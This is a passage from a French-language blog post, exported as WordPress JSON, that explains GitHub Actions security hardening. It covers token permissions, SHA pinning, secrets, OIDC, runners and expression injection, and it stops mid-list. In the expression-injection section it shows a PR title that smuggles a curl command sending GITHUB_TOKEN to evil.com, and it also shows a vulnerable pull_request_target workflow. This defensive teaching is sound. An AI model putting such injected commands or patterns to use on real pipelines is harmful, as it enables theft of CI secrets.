{"id":442,"date":"2026-03-24T08:51:51","date_gmt":"2026-03-24T07:51:51","guid":{"rendered":"https:\/\/secure-pipelines.com\/?p=442"},"modified":"2026-07-06T20:05:21","modified_gmt":"2026-07-06T19:05:21","slug":"github-actions-security-definitive-guide","status":"publish","type":"post","link":"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/github-actions-security-definitive-guide\/","title":{"rendered":"S\u00e9curit\u00e9 de GitHub Actions : le guide d\u00e9finitif"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">GitHub Actions est devenue la plateforme CI\/CD la plus adopt\u00e9e au monde. Avec plus de 90 % des d\u00e9p\u00f4ts GitHub capables de l&rsquo;utiliser nativement, elle propulse aussi bien de simples v\u00e9rifications de linting que des d\u00e9ploiements multi-cloud complexes. Mais cette omnipr\u00e9sence en fait la surface d&rsquo;attaque CI\/CD la plus cibl\u00e9e du d\u00e9veloppement logiciel moderne.<\/p>\n\n<p class=\"wp-block-paragraph\">En 2024 et 2025, des attaquants ont compromis des GitHub Actions populaires (comme <code>tj-actions\/changed-files<\/code> et <code>reviewdog<\/code>), inject\u00e9 du code malveillant dans des milliers de workflows CI et exfiltr\u00e9 les secrets d&rsquo;organisations qui pensaient leurs pipelines \u00e0 l&rsquo;abri. Les attaques de la cha\u00eene d&rsquo;approvisionnement contre le CI\/CD ne sont plus th\u00e9oriques : elles sont devenues courantes.<\/p>\n\n<p class=\"wp-block-paragraph\">Ce guide est une r\u00e9f\u00e9rence compl\u00e8te et pratique pour s\u00e9curiser GitHub Actions de fond en comble. Que vous soyez ing\u00e9nieur DevOps en train de durcir des workflows de production, architecte s\u00e9curit\u00e9 d\u00e9finissant la politique CI\/CD, ou d\u00e9veloppeur souhaitant cesser de livrer des vuln\u00e9rabilit\u00e9s via votre pipeline, cet article couvre tout ce que vous devez savoir \u2014 avec, tout au long, des liens vers des labs d\u00e9taill\u00e9s et des aide-m\u00e9moire.<\/p>\n\n<h2 class=\"wp-block-heading\">Comprendre le mod\u00e8le de s\u00e9curit\u00e9 de GitHub Actions<\/h2>\n\n<p class=\"wp-block-paragraph\">Avant de pouvoir s\u00e9curiser GitHub Actions, vous devez comprendre le fonctionnement r\u00e9el de son mod\u00e8le de s\u00e9curit\u00e9. GitHub Actions repose sur un mod\u00e8le de confiance construit autour de trois piliers : <strong>les tokens d&rsquo;authentification<\/strong>, <strong>les d\u00e9clencheurs de workflow<\/strong> et <strong>les environnements d&rsquo;ex\u00e9cution<\/strong>.<\/p>\n\n<h3 class=\"wp-block-heading\">Le GITHUB_TOKEN<\/h3>\n\n<p class=\"wp-block-paragraph\">Chaque ex\u00e9cution de workflow se voit automatiquement attribuer un <code>GITHUB_TOKEN<\/code> \u2014 un token \u00e0 courte dur\u00e9e de vie limit\u00e9 au d\u00e9p\u00f4t o\u00f9 s&rsquo;ex\u00e9cute le workflow. Ce token est le principal m\u00e9canisme d&rsquo;authentification pour interagir avec l&rsquo;API GitHub depuis les workflows. Par d\u00e9faut, il dispose de larges permissions de lecture\/\u00e9criture sur l&rsquo;ensemble du d\u00e9p\u00f4t, y compris la possibilit\u00e9 de pousser du code, de g\u00e9rer les issues et de modifier les packages.<\/p>\n\n<p class=\"wp-block-paragraph\">L&rsquo;enseignement de s\u00e9curit\u00e9 crucial : <strong>les permissions par d\u00e9faut de <code>GITHUB_TOKEN<\/code> sont bien trop larges pour la plupart des workflows<\/strong>. Un workflow qui doit seulement publier un commentaire sur une PR ne devrait pas avoir la permission de pousser du code. Pourtant, sans configuration explicite, c&rsquo;est le cas.<\/p>\n\n<h3 class=\"wp-block-heading\">Les d\u00e9clencheurs de workflow<\/h3>\n\n<p class=\"wp-block-paragraph\">GitHub Actions prend en charge des dizaines de d\u00e9clencheurs d&rsquo;\u00e9v\u00e9nements \u2014 <code>push<\/code>, <code>pull_request<\/code>, <code>pull_request_target<\/code>, <code>workflow_dispatch<\/code>, <code>schedule<\/code>, <code>issue_comment<\/code>, et bien d&rsquo;autres. Chaque d\u00e9clencheur comporte des implications de s\u00e9curit\u00e9 diff\u00e9rentes :<\/p>\n\n<ul class=\"wp-block-list\">\n<li><strong><code>pull_request<\/code><\/strong> \u2014 S&rsquo;ex\u00e9cute dans le contexte du code du fork. Le <code>GITHUB_TOKEN<\/code> est en lecture seule. Les secrets ne sont pas accessibles depuis les forks. C&rsquo;est le d\u00e9clencheur le plus s\u00fbr pour les contributions externes.<\/li>\n<li><strong><code>pull_request_target<\/code><\/strong> \u2014 S&rsquo;ex\u00e9cute dans le contexte du d\u00e9p\u00f4t <em>de base<\/em>. Le <code>GITHUB_TOKEN<\/code> dispose d&rsquo;un acc\u00e8s en \u00e9criture. Les secrets sont accessibles. C&rsquo;est extr\u00eamement dangereux si vous extrayez le code du head de la PR.<\/li>\n<li><strong><code>push<\/code><\/strong> \u2014 S&rsquo;ex\u00e9cute sur le commit pouss\u00e9. Acc\u00e8s complet aux secrets et aux tokens en \u00e9criture. S\u00fbr uniquement pour les branches de confiance.<\/li>\n<li><strong><code>workflow_dispatch<\/code><\/strong> \u2014 D\u00e9clencheur manuel. Utile pour les d\u00e9ploiements contr\u00f4l\u00e9s, mais validez les param\u00e8tres d&rsquo;entr\u00e9e.<\/li>\n<li><strong><code>schedule<\/code><\/strong> \u2014 S&rsquo;ex\u00e9cute selon une planification cron sur la branche par d\u00e9faut. Dispose d&rsquo;un acc\u00e8s en \u00e9criture et des secrets. Assurez-vous que les workflows planifi\u00e9s ne peuvent pas \u00eatre modifi\u00e9s par des PR non fiables.<\/li>\n<\/ul>\n\n<h3 class=\"wp-block-heading\">Environnements et protection des d\u00e9ploiements<\/h3>\n\n<p class=\"wp-block-paragraph\">Les environnements GitHub fournissent une fronti\u00e8re de s\u00e9curit\u00e9 suppl\u00e9mentaire. Vous pouvez y attacher des r\u00e8gles de protection \u2014 r\u00e9viseurs requis, d\u00e9lais d&rsquo;attente, restrictions de branches et politiques de branches de d\u00e9ploiement. Les secrets peuvent \u00eatre limit\u00e9s \u00e0 des environnements pr\u00e9cis, garantissant que les identifiants de production ne sont accessibles qu&rsquo;aux workflows qui d\u00e9ploient en production.<\/p>\n\n<p class=\"wp-block-paragraph\">Les environnements comptent parmi les fonctionnalit\u00e9s de s\u00e9curit\u00e9 les plus sous-utilis\u00e9es de GitHub Actions. Si vous ne les utilisez pas, il vous manque une couche de contr\u00f4le essentielle.<\/p>\n\n<h2 class=\"wp-block-heading\">Permissions de workflow : le principe du moindre privil\u00e8ge<\/h2>\n\n<p class=\"wp-block-paragraph\">L&rsquo;am\u00e9lioration de s\u00e9curit\u00e9 la plus d\u00e9terminante que vous puissiez apporter \u00e0 n&rsquo;importe quel workflow GitHub Actions consiste \u00e0 <strong>restreindre les <code>GITHUB_TOKEN<\/code> permissions<\/strong>. GitHub vous permet de d\u00e9finir les permissions \u00e0 deux niveaux : l&rsquo;ensemble du workflow et chaque job individuellement.<\/p>\n\n<h3 class=\"wp-block-heading\">D\u00e9finir des permissions par d\u00e9faut en lecture seule<\/h3>\n\n<p class=\"wp-block-paragraph\">Au niveau de l&rsquo;organisation ou du d\u00e9p\u00f4t, rendez-vous dans <strong>Settings \u2192 Actions \u2192 General \u2192 Workflow permissions<\/strong> et s\u00e9lectionnez <strong>\u00ab\u00a0Read repository contents and packages permissions\u00a0\u00bb<\/strong>. Ainsi, chaque workflow d\u00e9marre avec des permissions minimales et doit demander explicitement tout acc\u00e8s au-del\u00e0 de la lecture.<\/p>\n\n<p class=\"wp-block-paragraph\">Dans vos fichiers de workflow, d\u00e9clarez toujours les permissions explicitement au niveau sup\u00e9rieur :<\/p>\n\n<pre><code>permissions:\n  contents: read\n  pull-requests: write  # Only if needed\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">Pour les jobs qui n\u00e9cessitent des permissions diff\u00e9rentes, d\u00e9clarez-les au niveau du job. Les permissions de job priment sur celles du workflow pour ce job pr\u00e9cis, offrant un contr\u00f4le encore plus fin :<\/p>\n\n<pre><code>jobs:\n  build:\n    permissions:\n      contents: read\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n      - run: npm build\n\n  deploy:\n    permissions:\n      contents: read\n      id-token: write  # For OIDC\n    runs-on: ubuntu-latest\n    steps:\n      - uses: aws-actions\/configure-aws-credentials@v4\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">Pour une r\u00e9f\u00e9rence compl\u00e8te des permissions n\u00e9cessaires aux op\u00e9rations courantes, consultez notre <a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/github-actions-security-cheat-sheet\/\">Cheat Sheet S\u00e9curit\u00e9 GitHub Actions<\/a>, qui associe chaque t\u00e2che courante \u00e0 son jeu minimal de permissions requises.<\/p>\n\n<h2 class=\"wp-block-heading\">\u00c9pinglage des actions : se d\u00e9fendre contre les attaques de la cha\u00eene d&rsquo;approvisionnement<\/h2>\n\n<p class=\"wp-block-paragraph\">Chaque directive <code>uses:<\/code> de votre workflow est une d\u00e9pendance \u2014 et comme toute d\u00e9pendance, elle peut \u00eatre compromise. L&rsquo;incident <code>tj-actions\/changed-files<\/code> de d\u00e9but 2025 a d\u00e9montr\u00e9 pr\u00e9cis\u00e9ment ce qui se passe lorsqu&rsquo;une action populaire est d\u00e9tourn\u00e9e : l&rsquo;attaquant a modifi\u00e9 l&rsquo;action pour exfiltrer le <code>GITHUB_TOKEN<\/code> et d&rsquo;autres secrets depuis chaque d\u00e9p\u00f4t qui la r\u00e9f\u00e9ren\u00e7ait par tag.<\/p>\n\n<h3 class=\"wp-block-heading\">Pourquoi les tags et les branches ne suffisent pas<\/h3>\n\n<p class=\"wp-block-paragraph\">Lorsque vous r\u00e9f\u00e9rencez une action comme <code>actions\/checkout@v4<\/code>, vous faites confiance au mainteneur de l&rsquo;action \u2014 et \u00e0 quiconque compromet son compte \u2014 pour ne pas d\u00e9placer ni modifier ce tag. Les tags Git sont mutables. Un attaquant qui obtient un acc\u00e8s en \u00e9criture \u00e0 un d\u00e9p\u00f4t peut faire pointer <code>v4<\/code> vers n&rsquo;importe quel commit de son choix.<\/p>\n\n<h3 class=\"wp-block-heading\">\u00c9pinglage par SHA<\/h3>\n\n<p class=\"wp-block-paragraph\">La solution consiste \u00e0 \u00e9pingler les actions \u00e0 leur SHA de commit complet :<\/p>\n\n<pre><code># Bad - mutable tag\n- uses: actions\/checkout@v4\n\n# Good - immutable SHA pin with version comment\n- uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">Les r\u00e9f\u00e9rences \u00e9pingl\u00e9es par SHA sont immuables. M\u00eame si le d\u00e9p\u00f4t de l&rsquo;action est compromis, le SHA pointe vers le code exact que vous avez audit\u00e9. Le commentaire en fin de ligne permet aux humains d&rsquo;identifier la version d&rsquo;un coup d&rsquo;\u0153il, et des outils comme Dependabot peuvent toujours proposer des mises \u00e0 jour.<\/p>\n\n<h3 class=\"wp-block-heading\">Automatiser les mises \u00e0 jour des \u00e9pinglages avec Dependabot<\/h3>\n\n<p class=\"wp-block-paragraph\">L&rsquo;\u00e9pinglage par SHA cr\u00e9e une charge de maintenance : vous devez mettre \u00e0 jour les \u00e9pinglages \u00e0 chaque nouvelle version. Dependabot r\u00e9sout ce probl\u00e8me. Ajoutez une configuration <code>.github\/dependabot.yml<\/code> :<\/p>\n\n<pre><code>version: 2\nupdates:\n  - package-ecosystem: \"github-actions\"\n    directory: \"\/\"\n    schedule:\n      interval: \"weekly\"\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">Dependabot ouvrira automatiquement des PR pour mettre \u00e0 jour vos actions \u00e9pingl\u00e9es par SHA vers la derni\u00e8re version, tout en conservant la r\u00e9f\u00e9rence SHA immuable. Vous obtenez ainsi la s\u00e9curit\u00e9 de l&rsquo;\u00e9pinglage avec le confort des mises \u00e0 jour automatis\u00e9es.<\/p>\n\n<p class=\"wp-block-paragraph\">Pour une mise en pratique de l&rsquo;\u00e9pinglage des actions, du durcissement des permissions et des bonnes pratiques de gestion des secrets dans un vrai workflow, r\u00e9alisez notre <a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/lab-hardening-github-actions-workflows-permissions-pinning-secrets\/\">Lab : durcir les workflows GitHub Actions \u2014 permissions, \u00e9pinglage et secrets<\/a>.<\/p>\n\n<h2 class=\"wp-block-heading\">Gestion des secrets<\/h2>\n\n<p class=\"wp-block-paragraph\">Les secrets dans GitHub Actions existent \u00e0 trois niveaux : <strong>d\u00e9p\u00f4t<\/strong>, <strong>environnement<\/strong> et <strong>organisation<\/strong>. Comprendre les diff\u00e9rences et choisir le bon niveau est essentiel pour la s\u00e9curit\u00e9.<\/p>\n\n<h3 class=\"wp-block-heading\">Secrets de d\u00e9p\u00f4t<\/h3>\n\n<p class=\"wp-block-paragraph\">Accessibles \u00e0 tous les workflows d&rsquo;un d\u00e9p\u00f4t. Tout workflow d\u00e9clench\u00e9 par un push ou une pull_request (depuis le m\u00eame d\u00e9p\u00f4t) peut y acc\u00e9der. <strong>Ils ne sont pas accessibles aux workflows d\u00e9clench\u00e9s par les \u00e9v\u00e9nements <code>pull_request<\/code> provenant de forks.<\/strong><\/p>\n\n<h3 class=\"wp-block-heading\">Secrets d&rsquo;environnement<\/h3>\n\n<p class=\"wp-block-paragraph\">Limit\u00e9s \u00e0 un environnement pr\u00e9cis. Seuls les jobs qui r\u00e9f\u00e9rencent cet environnement peuvent acc\u00e9der \u00e0 ses secrets. Combin\u00e9s aux r\u00e8gles de protection d&rsquo;environnement (r\u00e9viseurs requis, restrictions de branches), les secrets d&rsquo;environnement offrent la meilleure protection native des secrets dans GitHub Actions.<\/p>\n\n<h3 class=\"wp-block-heading\">Secrets d&rsquo;organisation<\/h3>\n\n<p class=\"wp-block-paragraph\">Partag\u00e9s entre les d\u00e9p\u00f4ts. Ils peuvent \u00eatre restreints \u00e0 des d\u00e9p\u00f4ts pr\u00e9cis ou rendus accessibles \u00e0 tous. Utiles pour des identifiants partag\u00e9s comme les tokens de registre de conteneurs, mais ils augmentent le rayon d&rsquo;impact en cas de compromission.<\/p>\n\n<h3 class=\"wp-block-heading\">S\u00e9curit\u00e9 des forks et pull_request_target<\/h3>\n\n<p class=\"wp-block-paragraph\">L&rsquo;interaction entre les forks, les secrets et <code>pull_request_target<\/code> est l&rsquo;un des domaines les plus dangereux de la s\u00e9curit\u00e9 GitHub Actions. Voici la r\u00e8gle essentielle :<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>N&rsquo;extrayez jamais le code du head d&rsquo;une PR dans un workflow <code>pull_request_target<\/code> pour l&rsquo;ex\u00e9cuter avec acc\u00e8s aux secrets.<\/strong><\/p>\n\n<p class=\"wp-block-paragraph\">Ce sch\u00e9ma \u2014 parfois appel\u00e9 \u00ab pwn request \u00bb \u2014 permet \u00e0 un attaquant de soumettre, depuis un fork, une PR qui modifie le script de build, la suite de tests ou tout autre code ex\u00e9cut\u00e9. Comme <code>pull_request_target<\/code> s&rsquo;ex\u00e9cute avec les secrets et le token en \u00e9criture du d\u00e9p\u00f4t de base, le code de l&rsquo;attaquant s&rsquo;ex\u00e9cute avec un acc\u00e8s complet \u00e0 vos identifiants.<\/p>\n\n<pre><code># DANGEROUS - Never do this\non: pull_request_target\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}  # Attacker-controlled code!\n      - run: npm test  # Runs attacker's code with your secrets\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">Si vous devez utiliser <code>pull_request_target<\/code>, n&rsquo;extrayez que le code de la branche de base, ou utilisez un sch\u00e9ma \u00e0 deux workflows o\u00f9 le premier (d\u00e9clench\u00e9 par <code>pull_request<\/code>) produit des artifacts, et le second (d\u00e9clench\u00e9 par <code>workflow_run<\/code>) traite ces artifacts avec des permissions \u00e9lev\u00e9es.<\/p>\n\n<h2 class=\"wp-block-heading\">OIDC et f\u00e9d\u00e9ration d&rsquo;identit\u00e9 de charge de travail<\/h2>\n\n<p class=\"wp-block-paragraph\">Les identifiants \u00e0 longue dur\u00e9e de vie stock\u00e9s en tant que secrets GitHub sont une bombe \u00e0 retardement. Si un secret est exfiltr\u00e9 \u2014 via une action compromise, une fuite dans les logs ou une PR malveillante \u2014 l&rsquo;attaquant conserve un acc\u00e8s persistant jusqu&rsquo;\u00e0 la rotation manuelle de l&rsquo;identifiant. La solution est <strong>la f\u00e9d\u00e9ration d&rsquo;identit\u00e9 de charge de travail bas\u00e9e sur OIDC<\/strong>.<\/p>\n\n<h3 class=\"wp-block-heading\">Comment fonctionne OIDC dans GitHub Actions<\/h3>\n\n<p class=\"wp-block-paragraph\">GitHub Actions peut \u00e9mettre des tokens OIDC qui attestent l&rsquo;identit\u00e9 d&rsquo;une ex\u00e9cution de workflow. Ces tokens contiennent des claims sur le d\u00e9p\u00f4t, la branche, l&rsquo;environnement, l&rsquo;acteur et le workflow. Les fournisseurs cloud (AWS, GCP, Azure) peuvent \u00eatre configur\u00e9s pour faire confiance \u00e0 ces tokens et les \u00e9changer contre des identifiants \u00e0 courte dur\u00e9e de vie.<\/p>\n\n<p class=\"wp-block-paragraph\">Le d\u00e9roulement est le suivant :<\/p>\n\n<ol class=\"wp-block-list\">\n<li>Votre workflow demande un token OIDC au endpoint de tokens de GitHub (n\u00e9cessite la permission <code>id-token: write<\/code>).<\/li>\n<li>Le token est envoy\u00e9 au endpoint STS\/d&rsquo;\u00e9change de tokens de votre fournisseur cloud.<\/li>\n<li>Le fournisseur cloud valide la signature du token \u00e0 l&rsquo;aide du document de d\u00e9couverte OIDC de GitHub.<\/li>\n<li>Si les claims du token correspondent \u00e0 votre politique de confiance (d\u00e9p\u00f4t, branche, environnement corrects), le fournisseur \u00e9met des identifiants \u00e0 courte dur\u00e9e de vie.<\/li>\n<li>Votre workflow utilise ces identifiants temporaires \u2014 qui expirent automatiquement.<\/li>\n<\/ol>\n\n<h3 class=\"wp-block-heading\">Exemple : AWS avec OIDC<\/h3>\n\n<pre><code>permissions:\n  id-token: write\n  contents: read\n\nsteps:\n  - uses: aws-actions\/configure-aws-credentials@v4\n    with:\n      role-to-assume: arn:aws:iam::123456789012:role\/github-actions-deploy\n      aws-region: us-east-1\n      # No access keys needed!\n<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">Avec OIDC, il n&rsquo;y a aucun identifiant statique \u00e0 voler. M\u00eame si un attaquant exfiltre le token OIDC, celui-ci expire en quelques minutes et est li\u00e9 \u00e0 des claims pr\u00e9cis qui limitent son utilisation.<\/p>\n\n<p class=\"wp-block-paragraph\">Pour approfondir les concepts derri\u00e8re la f\u00e9d\u00e9ration d&rsquo;identit\u00e9 de charge de travail, lisez notre guide <a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/short-lived-credentials-workload-identity-federation-ci-cd\/\">Identifiants de courte dur\u00e9e et f\u00e9d\u00e9ration d&rsquo;identit\u00e9 de charge de travail en CI\/CD<\/a>. Pour le mettre en pratique, suivez notre <a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/lab-configuring-oidc-workload-identity-github-actions-aws\/\">Lab : configurer l&rsquo;identit\u00e9 de charge de travail OIDC pour GitHub Actions et AWS<\/a>.<\/p>\n\n<h2 class=\"wp-block-heading\">S\u00e9curit\u00e9 des runners : h\u00e9berg\u00e9s vs. auto-h\u00e9berg\u00e9s<\/h2>\n\n<p class=\"wp-block-paragraph\">Le runner est l&rsquo;endroit o\u00f9 votre code de workflow s&rsquo;ex\u00e9cute r\u00e9ellement. Les propri\u00e9t\u00e9s de s\u00e9curit\u00e9 de votre runner d\u00e9terminent directement le rayon d&rsquo;impact de toute compromission de workflow.<\/p>\n\n<h3 class=\"wp-block-heading\">Runners h\u00e9berg\u00e9s par GitHub<\/h3>\n\n<p class=\"wp-block-paragraph\">Les runners h\u00e9berg\u00e9s par GitHub sont des VM \u00e9ph\u00e9m\u00e8res, provisionn\u00e9es \u00e0 neuf pour chaque job puis d\u00e9truites. Cela offre une isolation forte :<\/p>\n\n<ul class=\"wp-block-list\">\n<li>Aucune persistance entre les jobs \u2014 un malware ne peut pas survivre d&rsquo;une ex\u00e9cution \u00e0 l&rsquo;autre.<\/li>\n<li>Aucun mouvement lat\u00e9ral vers d&rsquo;autres workflows ou d\u00e9p\u00f4ts.<\/li>\n<li>Des images de base pr\u00e9visibles et durcies, maintenues par GitHub.<\/li>\n<\/ul>\n\n<p class=\"wp-block-paragraph\">Pour la plupart des workflows, les runners h\u00e9berg\u00e9s par GitHub sont l&rsquo;option la plus s\u00fbre. La contrepartie : une personnalisation limit\u00e9e et des co\u00fbts potentiellement plus \u00e9lev\u00e9s pour les charges de calcul intensives.<\/p>\n\n<h3 class=\"wp-block-heading\">Runners auto-h\u00e9berg\u00e9s : risques et mesures d&rsquo;att\u00e9nuation<\/h3>\n\n<p class=\"wp-block-paragraph\">Les runners auto-h\u00e9berg\u00e9s s&rsquo;ex\u00e9cutent sur votre propre infrastructure. Ils offrent plus de contr\u00f4le et peuvent revenir moins cher \u00e0 grande \u00e9chelle, mais ils introduisent des risques de s\u00e9curit\u00e9 importants :<\/p>\n\n<ul class=\"wp-block-list\">\n<li><strong>Persistance<\/strong> \u2014 Si un runner n&rsquo;est pas \u00e9ph\u00e9m\u00e8re, un workflow compromis peut y implanter des portes d\u00e9rob\u00e9es qui affecteront les ex\u00e9cutions futures.<\/li>\n<li><strong>\u00c9tat partag\u00e9<\/strong> \u2014 Les identifiants, caches et artifacts des jobs pr\u00e9c\u00e9dents peuvent \u00eatre accessibles.<\/li>\n<li><strong>Acc\u00e8s r\u00e9seau<\/strong> \u2014 Les runners auto-h\u00e9berg\u00e9s ont souvent acc\u00e8s \u00e0 des r\u00e9seaux internes, des bases de donn\u00e9es et des services que les runners h\u00e9berg\u00e9s par GitHub ne peuvent pas atteindre.<\/li>\n<li><strong>Exploitation via les forks<\/strong> \u2014 Si un d\u00e9p\u00f4t public utilise des runners auto-h\u00e9berg\u00e9s et autorise les PR de forks, n&rsquo;importe qui peut ex\u00e9cuter du code arbitraire sur votre infrastructure.<\/li>\n<\/ul>\n\n<h3 class=\"wp-block-heading\">Runners \u00e9ph\u00e9m\u00e8res avec Actions Runner Controller (ARC)<\/h3>\n\n<p class=\"wp-block-paragraph\">La meilleure approche pour les runners auto-h\u00e9berg\u00e9s est de les rendre <strong>\u00e9ph\u00e9m\u00e8res<\/strong>. Actions Runner Controller (ARC) s&rsquo;ex\u00e9cute sur Kubernetes et provisionne un pod runner neuf pour chaque job. Une fois le job termin\u00e9, le pod est d\u00e9truit \u2014 exactement comme un runner h\u00e9berg\u00e9 par GitHub, mais sur votre propre infrastructure.<\/p>\n\n<p class=\"wp-block-paragraph\">Bonnes pratiques de s\u00e9curit\u00e9 cl\u00e9s pour ARC :<\/p>\n\n<ul class=\"wp-block-list\">\n<li>Utilisez le mode Kubernetes (containerMode) pour une isolation maximale.<\/li>\n<li>D\u00e9finissez des limites de ressources pour pr\u00e9venir les abus de crypto-minage.<\/li>\n<li>Utilisez des network policies pour restreindre le trafic sortant des pods runner.<\/li>\n<li>Restreignez les groupes de runners \u00e0 des d\u00e9p\u00f4ts pr\u00e9cis.<\/li>\n<li>N&rsquo;affectez jamais de runners auto-h\u00e9berg\u00e9s \u00e0 des d\u00e9p\u00f4ts publics, sauf s&rsquo;ils sont enti\u00e8rement \u00e9ph\u00e9m\u00e8res.<\/li>\n<\/ul>\n\n<p class=\"wp-block-paragraph\">Pour un guide complet sur l&rsquo;architecture de s\u00e9curit\u00e9 des runners, consultez <a href=\"https:\/\/secure-pipelines.com\/fr\/github-actions\/securing-github-actions-runners\/\">S\u00e9curiser les runners GitHub Actions<\/a>. Pour d\u00e9ployer des runners \u00e9ph\u00e9m\u00e8res en pratique, r\u00e9alisez notre <a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/lab-ephemeral-self-hosted-runners-actions-runner-controller\/\">Lab : runners auto-h\u00e9berg\u00e9s \u00e9ph\u00e9m\u00e8res avec Actions Runner Controller<\/a>.<\/p>\n\n<h2 class=\"wp-block-heading\">S\u00e9curit\u00e9 des actions tierces<\/h2>\n\n<p class=\"wp-block-paragraph\">Chaque action tierce que vous r\u00e9f\u00e9rencez dans un workflow est du code qui s&rsquo;ex\u00e9cute au sein de votre pipeline CI\/CD, avec acc\u00e8s \u00e0 votre code source, vos secrets et vos identifiants de d\u00e9ploiement. Il est essentiel de traiter les actions tierces comme n&rsquo;importe quelle autre d\u00e9pendance logicielle.<\/p>\n\n<h3 class=\"wp-block-heading\">Auditer les actions avant de les utiliser<\/h3>\n\n<p class=\"wp-block-paragraph\">Avant d&rsquo;ajouter une action tierce \u00e0 vos workflows :<\/p>\n\n<ol class=\"wp-block-list\">\n<li><strong>Lisez le code source<\/strong> \u2014 V\u00e9rifiez ce que fait r\u00e9ellement l&rsquo;action. Recherchez les appels r\u00e9seau, les acc\u00e8s aux secrets et les modifications de fichiers.<\/li>\n<li><strong>V\u00e9rifiez le mainteneur<\/strong> \u2014 Est-ce un cr\u00e9ateur v\u00e9rifi\u00e9 ? Le d\u00e9p\u00f4t est-il activement maintenu ? \u00c0 quelle vitesse les probl\u00e8mes de s\u00e9curit\u00e9 sont-ils trait\u00e9s ?<\/li>\n<li><strong>Examinez les permissions qu&rsquo;elle demande<\/strong> \u2014 Une action qui se contente d&rsquo;\u00ab \u00e9tiqueter les PR \u00bb a-t-elle besoin de <code>contents: write<\/code> ? C&rsquo;est un signal d&rsquo;alarme.<\/li>\n<li><strong>Recherchez des politiques de s\u00e9curit\u00e9 publi\u00e9es<\/strong> \u2014 Le d\u00e9p\u00f4t de l&rsquo;action poss\u00e8de-t-il un SECURITY.md ? Existe-t-il des processus de divulgation des vuln\u00e9rabilit\u00e9s ?<\/li>\n<li><strong>\u00c9pinglez au SHA<\/strong> \u2014 \u00c9pinglez toujours, m\u00eame apr\u00e8s audit. Le code peut changer apr\u00e8s votre revue.<\/li>\n<\/ol>\n\n<h3 class=\"wp-block-heading\">Mettre en place des listes d&rsquo;autorisation d&rsquo;actions<\/h3>\n\n<p class=\"wp-block-paragraph\">Au niveau de l&rsquo;organisation, GitHub vous permet de restreindre les actions utilisables. Rendez-vous dans <strong>Organization Settings \u2192 Actions \u2192 General \u2192 Policies<\/strong> et configurez une liste d&rsquo;autorisation. Les options possibles :<\/p>\n\n<ul class=\"wp-block-list\">\n<li>N&rsquo;autoriser que les actions cr\u00e9\u00e9es par GitHub.<\/li>\n<li>Autoriser les actions de cr\u00e9ateurs v\u00e9rifi\u00e9s, plus une liste d&rsquo;autorisation sp\u00e9cifique.<\/li>\n<li>N&rsquo;autoriser que des actions pr\u00e9cises, par r\u00e9f\u00e9rence compl\u00e8te.<\/li>\n<\/ul>\n\n<p class=\"wp-block-paragraph\">Pour les entreprises, la liste d&rsquo;autorisation est un contr\u00f4le essentiel. Elle emp\u00eache les d\u00e9veloppeurs d&rsquo;ajouter \u00e0 la l\u00e9g\u00e8re des actions non v\u00e9rifi\u00e9es aux workflows et fournit un processus d&rsquo;approbation centralis\u00e9 pour les nouvelles d\u00e9pendances d&rsquo;actions.<\/p>\n\n<p class=\"wp-block-paragraph\">Pour vous exercer \u00e0 d\u00e9tecter les comportements malveillants dans les GitHub Actions \u00e0 l&rsquo;aide de techniques d&rsquo;analyse statique, r\u00e9alisez notre <a href=\"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/lab-detecting-malicious-github-actions-static-analysis\/\">Lab : d\u00e9tecter les GitHub Actions malveillantes par analyse statique<\/a>.<\/p>\n\n<h2 class=\"wp-block-heading\">Injection d&rsquo;expressions<\/h2>\n\n<p class=\"wp-block-paragraph\">L&rsquo;injection d&rsquo;expressions est l&rsquo;une des vuln\u00e9rabilit\u00e9s les plus courantes et les plus dangereuses des workflows GitHub Actions. Elle survient lorsqu&rsquo;une entr\u00e9e non fiable est interpol\u00e9e directement dans une expression de workflow via la syntaxe <code>${{ }}<\/code>.<\/p>\n\n<h3 class=\"wp-block-heading\">Comment fonctionne l&rsquo;injection d&rsquo;expressions<\/h3>\n\n<p class=\"wp-block-paragraph\">Les expressions GitHub Actions sont \u00e9valu\u00e9es <em>avant<\/em> que le shell ne les voie. Lorsque vous \u00e9crivez :<\/p>\n\n<pre><code>- run: echo \"Hello ${{ github.event.pull_request.title }}\"<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">L&rsquo;expression est remplac\u00e9e par le titre litt\u00e9ral de la PR avant m\u00eame que la commande shell ne soit construite. Si un attaquant cr\u00e9e une PR dont le titre est :<\/p>\n\n<pre><code>\"; curl http:\/\/evil.com\/steal?token=$GITHUB_TOKEN; echo \"<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">La commande shell r\u00e9sultante devient :<\/p>\n\n<pre><code>echo \"Hello \"; curl http:\/\/evil.com\/steal?token=$GITHUB_TOKEN; echo \"\"<\/code><\/pre>\n\n<p class=\"wp-block-paragraph\">L&rsquo;attaquant a inject\u00e9 des commandes shell arbitraires dans votre workflow.<\/p>\n\n<h3 class=\"wp-block-heading\">Contextes vuln\u00e9rables<\/h3>\n\n<p class=\"wp-block-paragraph\">Les valeurs de contexte GitHub suivantes sont contr\u00f4l\u00e9es par l&rsquo;attaquant et ne devraient <strong>jamais<\/strong> \u00eatre utilis\u00e9es directement dans des blocs <code>run:<\/code> :<\/p>\n\n<ul 